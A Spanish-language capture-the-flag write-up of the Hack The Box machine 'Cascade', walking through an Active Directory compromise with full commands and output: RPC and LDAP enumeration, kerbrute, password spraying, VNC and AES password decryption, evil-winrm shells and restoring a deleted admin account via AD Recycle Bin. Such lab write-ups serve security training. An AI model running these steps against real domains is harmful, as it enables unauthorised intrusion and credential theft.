Conocimientos
-
Enumeración por RPC
-
Enumeración de Usuarios por Kerberos
-
ASPRepRoast Attack (Fallido)
-
Enumeración por SMB
-
Enumeración por LDAP
-
Kerberoasting Attack (Fallido)
-
Análisis de archivo EXE
-
Reto criptográfico
-
Abuso del grupo AD Recycle Bin
Reconocimiento
Escaneo de puertos con nmap
Descubrimiento de puertos abiertos
nmap -p- --open --min-rate 5000 -n -Pn -sS 10.10.10.182 -oG openports
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-08 16:04 GMT
Nmap scan report for 10.10.10.182
Host is up (0.17s latency).
Not shown: 65520 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
49154/tcp open unknown
49155/tcp open unknown
49157/tcp open unknown
49158/tcp open unknown
49170/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 41.24 seconds
Escaneo de versión y servicios de cada puerto
nmap -sCV -p53,88,135,139,389,445,636,3268,3269,5985,49154,49155,49157,49158,49170 10.10.10.182 -oN portscan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-08 16:05 GMT
Nmap scan report for 10.10.10.182
Host is up (0.28s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-02-08 16:05:51Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
49170/tcp open msrpc Microsoft Windows RPC
Service Info: Host: CASC-DC1; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
Host script results:
|_clock-skew: -1s
| smb2-time:
| date: 2023-02-08T16:06:49
|_ start_date: 2023-02-08T16:00:38
| smb2-security-mode:
| 210:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 111.78 seconds
Puerto 445 (SMB)
Con crackmapexec aplico un escaneo para ver dominio, hostname y versiones
crackmapexec smb 10.10.10.182
SMB 10.10.10.182 445 CASC-DC1 [*] Windows 6.1 Build 7601 x64 (name:CASC-DC1) (domain:cascade.local) (signing:True) (SMBv1:False)
Agrego cascade.local
al /etc/hosts
Intento listar los recursos compartidos
smbmap -H 10.10.10.182 -u 'null'
[!] Authentication error on 10.10.10.182
Pero no tengo acceso
Puerto 43 (DNS)
Como tengo un dominio puedo tratar de efectuar un ataque de transferencia de zona y encontrar subdominios
dig @10.10.10.182 cascade.local axfr
; <<>> DiG 9.18.8-1-Debian <<>> @10.10.10.182 cascade.local axfr
; (1 server found)
;; global options: +cmd
; Transfer failed.
Pero falla. Aplico consultas a los name services y servidores de correo
dig @10.10.10.182 cascade.local ns
; <<>> DiG 9.18.8-1-Debian <<>> @10.10.10.182 cascade.local ns
; (1 server found)
;; global options: +cmd
;; Got answer:
;; WARNING: .local is reserved for Multicast DNS
;; You are currently testing what happens when an mDNS query is leaked to DNS
;; ->>HEADER<<- opcode: QUERY, status: FORMERR, id: 50477
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
; COOKIE: a991071695bab58b (echoed)
;; QUESTION SECTION:
;cascade.local. IN NS
;; Query time: 40 msec
;; SERVER: 10.10.10.182#53(10.10.10.182) (UDP)
;; WHEN: Wed Feb 08 16:10:
dig @10.10.10.182 cascade.local mx
; <<>> DiG 9.18.8-1-Debian <<>> @10.10.10.182 cascade.local mx
; (1 server found)
;; global options: +cmd
;; Got answer:
;; WARNING: .local is reserved for Multicast DNS
;; You are currently testing what happens when an mDNS query is leaked to DNS
;; ->>HEADER<<- opcode: QUERY, status: FORMERR, id: 18547
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
; COOKIE: bdd33778042db741 (echoed)
;; QUESTION SECTION:
;cascade.local. IN MX
;; Query time: 324 msec
;; SERVER: 10.10.10.182#53(10.10.10.182) (UDP)
;; WHEN: Wed Feb 08 16:10:54 GMT 2023
;; MSG SIZE rcvd: 54
No obtengo nada relevante
Puerto 135 (RPC)
Con rpcclient puedo listar los usuarios haciendo uso de un null session
rpcclient -U "" 10.10.10.182 -N -c 'enumdomusers' | grep -oP '\[.*?\]' | tr -d '[]' | grep -v x
CascGuest
arksvc
s.smith
r.thompson
util
j.wakefield
s.hickson
j.goodhand
a.turnbull
e.crowe
b.hanson
d.burman
BackupSvc
j.allen
i.croft
Los valido por Kerberos
kerbrute userenum -d cascade.local --dc 10.10.10.182 users
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (n/a) - 02/08/23 - Ronnie Flathers @ropnop
2023/02/08 16:27:06 > Using KDC(s):
2023/02/08 16:27:06 > 10.10.10.182:88
2023/02/08 16:27:12 > [+] VALID USERNAME: j.goodhand@cascade.local
2023/02/08 16:27:12 > [+] VALID USERNAME: a.turnbull@cascade.local
2023/02/08 16:27:12 > [+] VALID USERNAME: util@cascade.local
2023/02/08 16:27:12 > [+] VALID USERNAME: r.thompson@cascade.local
2023/02/08 16:27:12 > [+] VALID USERNAME: s.hickson@cascade.local
2023/02/08 16:27:12 > [+] VALID USERNAME: s.smith@cascade.local
2023/02/08 16:27:12 > [+] VALID USERNAME: arksvc@cascade.local
2023/02/08 16:27:12 > [+] VALID USERNAME: j.wakefield@cascade.local
2023/02/08 16:27:18 > [+] VALID USERNAME: j.allen@cascade.local
2023/02/08 16:27:18 > [+] VALID USERNAME: d.burman@cascade.local
2023/02/08 16:27:18 > [+] VALID USERNAME: BackupSvc@cascade.local
2023/02/08 16:27:18 > Done! Tested 15 usernames (11 valid) in 11.908 seconds
Los almaceno en un nuevo diccionario
Intento realizar un ASPRepRoast Attack, pero todos requieren de autenticación previa de Kerberos
GetNPUsers.py cascade.local/ -no-pass -usersfile valid_users
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[-] User j.goodhand doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User a.turnbull doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User util doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User r.thompson doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User s.hickson doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User s.smith doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User arksvc doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User j.wakefield doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User j.allen doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User d.burman doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User BackupSvc doesn't have UF_DONT_REQUIRE_PREAUTH set
Listo los grupos existentes
rpcclient -U "" 10.10.10.182 -N
rpcclient $> enumdomgroups
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Group Policy Creator Owners] rid:[0x208]
group:[DnsUpdateProxy] rid:[0x44f]
Extraigo información para cada usuario y lo exporto en un archivo
rpcclient -U "" 10.10.10.182 -N -c 'enumdomusers' | grep -oP '\[.*?\]' | tr -d '[]' | grep x > rids
for rid in $(cat rids); do rpcclient -U "" 10.10.10.182 -N -c "queryuser $rid"; done > usersenum
Destaca que todos los usuarios tengan un LogonScript, llamado MapAuditDrive.vbs
Efectúo un Password Spraying, utilizando el mismo diccionario de usuarios como contraseñas
crackmapexec smb 10.10.10.182 -u valid_users -p valid_users | grep -v "-"
Ninguna es válida
Puerto 389 (LDAP)
No tengo credenciales válidas pero puedo extraer los namingcontexts
ldapsearch -H ldap://10.10.10.182:389/ -x -s base namingcontexts
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts
#
#
dn:
namingContexts: DC=cascade,DC=local
namingContexts: CN=Configuration,DC=cascade,DC=local
namingContexts: CN=Schema,CN=Configuration,DC=cascade,DC=local
namingContexts: DC=DomainDnsZones,DC=cascade,DC=local
namingContexts: DC=ForestDnsZones,DC=cascade,DC=local
# search result
search: 2
result: 0 Success
# numResponses: 2
# numEntries: 1
Y extraigo mucha información
ldapsearch -x -H ldap://10.10.10.182:389/ -b "DC=cascade,DC=local" > ldapenum
Veo un recurso compartido, correspondiente al grupo Audit Share
description: \\Casc-DC1\Audit$
De todo la captura, filtro por el SPN de cada usuario. Para r.thomson hay un campo con una contraseña en base64
userPrincipalName: r.thompson@cascade.local
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=cascade,DC=local
dSCorePropagationData: 20200126183918.0Z
dSCorePropagationData: 20200119174753.0Z
dSCorePropagationData: 20200119174719.0Z
dSCorePropagationData: 20200119174508.0Z
dSCorePropagationData: 16010101000000.0Z
lastLogonTimestamp: 132294360317419816
msDS-SupportedEncryptionTypes: 0
cascadeLegacyPwd: clk0bjVldmE=
Y es válida
crackmapexec smb 10.10.10.182 -u 'r.thompson' -p 'rY4n5eva' | grep "+"
SMB 10.10.10.182 445 CASC-DC1 [+] cascade.local\r.thompson:rY4n5eva
Utilizo ldapdomaindump
para dumpear datos y estructurarlos por tablas
ldapdomaindump -u 'cascade.local\r.thompson' -p 'rY4n5eva' 10.10.10.182
[*] Connecting to host...
[*] Binding to host
[+] Bind OK
[*] Starting domain dump
[+] Domain dump finished
Me monto un servicio HTTP con python y visualizo los datos desde el navegador
Dos usuarios pertenecen al grupo Remote Management Users
El usuario ArkSvc pertenece a AD Recycle Bin, lo que significa que tiene acceso a recursos que han sido borrados
Pruebo un Kerberoasting Attack, pero no es el caso
GetUserSPNs.py cascade.local/r.thompson:rY4n5eva
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
No entries found!
Ahora ya puedo listar los recursos compartidos
smbmap -H 10.10.10.182 -u 'r.thompson' -p 'rY4n5eva'
[+] IP: 10.10.10.182:445 Name: cascade.local
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
Audit$ NO ACCESS
C$ NO ACCESS Default share
Data READ ONLY
IPC$ NO ACCESS Remote IPC
NETLOGON READ ONLY Logon server share
print$ READ ONLY Printer Drivers
SYSVOL READ ONLY Logon server share
Listo los subdirectorios para Data
smbmap -H 10.10.10.182 -u 'r.thompson' -p 'rY4n5eva' -r 'Data'
[+] IP: 10.10.10.182:445 Name: cascade.local
Disk Permissions Comment
---- ----------- -------
Data READ ONLY
.\Data\*
dr--r--r-- 0 Tue Jan 28 22:05:51 2020 .
dr--r--r-- 0 Tue Jan 28 22:05:51 2020 ..
dr--r--r-- 0 Mon Jan 13 01:45:14 2020 Contractors
dr--r--r-- 0 Mon Jan 13 01:45:10 2020 Finance
dr--r--r-- 0 Tue Jan 28 18:04:51 2020 IT
dr--r--r-- 0 Mon Jan 13 01:45:20 2020 Production
dr--r--r-- 0 Mon Jan 13 01:45:16 2020 Temps
Creo una montura en mi equipo para trabajar más comodamente
mount -t cifs //10.10.10.182/Data /mnt/Cascade -o username=r.thompson,password=rY4n5eva,domain=cascade.local,rw
Ahora puedo ver los recursos de forma estructurada
tree
.
├── Contractors
├── Finance
├── IT
│ ├── Email Archives
│ │ └── Meeting_Notes_June_2018.html
│ ├── LogonAudit
│ ├── Logs
│ │ ├── Ark AD Recycle Bin
│ │ │ └── ArkAdRecycleBin.log
│ │ └── DCs
│ │ └── dcdiag.log
│ └── Temp
│ ├── r.thompson
│ └── s.smith
│ └── VNC Install.reg
├── Production
└── Temps
13 directories, 4 files
Hay una nota en HTML. La abro con el Firefox y veo lo siguiente:
Resumiendo el contenido, hay una cuenta temporal que ha sido borrada y su contraseña es la misma que la del usuario Administrador
Encuentro un registro de Windows
cd ./IT/Temp/s.smith
ls
VNC Install.reg
file VNC\ Install.reg
VNC Install.reg: Windows Registry little-endian text (Win2K or above)
Tiene un campo con una contraseña en hexadecimal
"Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f
Pero al hacerle el proceso inverso no se ve en texto claro
echo '6b,cf,2a,4b,6e,5a,ca,0f' | tr -d ',' | xxd -ps -r; echo
k*KnZ
En Github hay una herramienta para descifrar la clave
git clone https://github.com/jeroennijhof/vncpwd
cd vncpwd
make
echo '6b,cf,2a,4b,6e,5a,ca,0f' | tr -d ',' | xxd -ps -r > password
./vncpwd password
Password: sT333ve2
Esa contraseña se reutiliza para un usuario
crackmapexec smb 10.10.10.182 -u valid_users -p 'sT333ve2' | grep "+"
SMB 10.10.10.182 445 CASC-DC1 [+] cascade.local\s.smith:sT333ve2
Había visto que pertenece al grupo Remote Management Users, así que me puedo conectar por winrm
Y gano acceso al sistema
evil-winrm -i 10.10.10.182 -u 's.smith' -p 'sT333ve2'
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\s.smith\Documents>
Puedo visualizar la primera flag
*Evil-WinRM* PS C:\Users\s.smith\Desktop> type user.txt
bc5dbc3a71e6158f70b16a8b5f7d196f
Escalada
Este usuario pertenece al grupo Audit Share, y por tanto, puedo acceder al recurso que vi antes por LDAP
*Evil-WinRM* PS C:\Users> net localgroup "Audit Share"
Alias name Audit Share
Comment \\Casc-DC1\Audit$
Members
-------------------------------------------------------------------------------
s.smith
The command completed successfully.
Creo una unidad lógica sincronizada con ese recurso para acceder a su contenido
*Evil-WinRM* PS C:\Users> net use x: \\Casc-DC1\Audit$
The command completed successfully.
*Evil-WinRM* PS C:\Users> dir x:\
Directory: x:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 1/28/2020 9:40 PM DB
d----- 1/26/2020 10:25 PM x64
d----- 1/26/2020 10:25 PM x86
-a---- 1/28/2020 9:46 PM 13312 CascAudit.exe
-a---- 1/29/2020 6:00 PM 12288 CascCrypto.dll
-a---- 1/28/2020 11:29 PM 45 RunAudit.bat
-a---- 10/27/2019 6:38 AM 363520 System.Data.SQLite.dll
-a---- 10/27/2019 6:38 AM 186880 System.Data.SQLite.EF6.dll
Creo una nueva montura en mi equipo para acceder a ese recurso
mkdir /mnt/Cascade2
mount -t cifs //10.10.10.182/Audit$ /mnt/Cascade2 -o username=s.smith,password=sT333ve2,domain=cascade.local,rw
Dentro hay varios binarios de Windows
ls
CascAudit.exe CascCrypto.dll DB RunAudit.bat System.Data.SQLite.dll System.Data.SQLite.EF6.dll x64 x86
Copio todo a mi equipo para tenerlo en local
cp -r * /home/rubbx/Desktop/HTB/Machines/Cascade/prives
Dentro hay una base de datos SLQLite3
cd DB
ls
Audit.db
file Audit.db
Audit.db: SQLite 3.x database, last written using SQLite version 3027002, file counter 60, database pages 6, 1st free page 6, free pages 1, cookie 0x4b, schema 4, UTF-8, version-valid-for 60
Enumero sus tablas y columnas
sqlite3 Audit.db
SQLite version 3.40.0 2022-11-16 12:10:08
Enter ".help" for usage hints.
sqlite> .tables
sqlite> select * from Ldap;
1|ArkSvc|BQO5l5Kj9MdErXx6Q6AGOw==|cascade.local
Encuentro una contraseña, pero no está en texto claro
echo BQO5l5Kj9MdErXx6Q6AGOw== | base64 -d; echo
D|zC;
Al listar las cadenas de caracteres imprimibles del binario EXE, encuentro la clave en texto claro, c4scadek3y654321
strings -e l CascAudit.exe | sort -u
Transfiero todos los archivos a una máquina Windows para empezar a decompilar. En DNSpy encuentro la función que encripta la contraseña
Abro la función que se encargar de la encriptación y aparece el IV hardcodeado, se está empleando cifrado AES
En la función aes se puede ver el tipo de cifrado que está utilizando
Introduzco todos los valores en CyberChef y me devuelve el valor de la contraseña en texto claro. La contraseña es la que vi en la base de datos
La valido con crackmapexec
crackmapexec smb 10.10.10.182 -u 'Arksvc' -p 'w3lc0meFr31nd'
SMB 10.10.10.182 445 CASC-DC1 [*] Windows 6.1 Build 7601 x64 (name:CASC-DC1) (domain:cascade.local) (signing:True) (SMBv1:False)
SMB 10.10.10.182 445 CASC-DC1 [+] cascade.local\Arksvc:w3lc0meFr31nd
Y me conecto por winrm
evil-winrm -i 10.10.10.182 -u 'Arksvc' -p 'w3lc0meFr31nd'
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\arksvc\Documents>
Este usuario pertenece a AD Recycle Bin, por lo que puedo restaurar la cuenta temporal (TempAdmin) que fue eliminada según la nota que leí antes
*Evil-WinRM* PS C:\Users\arksvc\Documents> Get-ADObject -ldapFilter:"(msDS-LastKnownRDN=*)" -IncludeDeletedObjects | Select Name
Name
----
CASC-WS1...
Scheduled Tasks...
{A403B701-A528-4685-A816-FDEE32BDDCBA}...
Machine...
User...
TempAdmin...
Efectivamente, aparece como cuenta eliminada. Muestro las propiedades de todos los objetos y en un campo está su contraseña en base64
cascadeLegacyPwd : YmFDVDNyMWFOMDBkbGVz
Le hago un decode para tenerla en texto claro
echo YmFDVDNyMWFOMDBkbGVz | base64 -d; echo
baCT3r1aN00dles
La valido para el usuario Administrador
crackmapexec smb 10.10.10.182 -u 'Administrator' -p 'baCT3r1aN00dles'
SMB 10.10.10.182 445 CASC-DC1 [*] Windows 6.1 Build 7601 x64 (name:CASC-DC1) (domain:cascade.local) (signing:True) (SMBv1:False)
SMB 10.10.10.182 445 CASC-DC1 [+] cascade.local\Administrator:baCT3r1aN00dles (Pwn3d!)
Me conecto por winrm y puedo visualizar la segunda flag
evil-winrm -i 10.10.10.182 -u 'Administrator' -p 'baCT3r1aN00dles'
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\Administrator\Desktop\root.txt
3f560e35b215934b112a0e3ade5f169e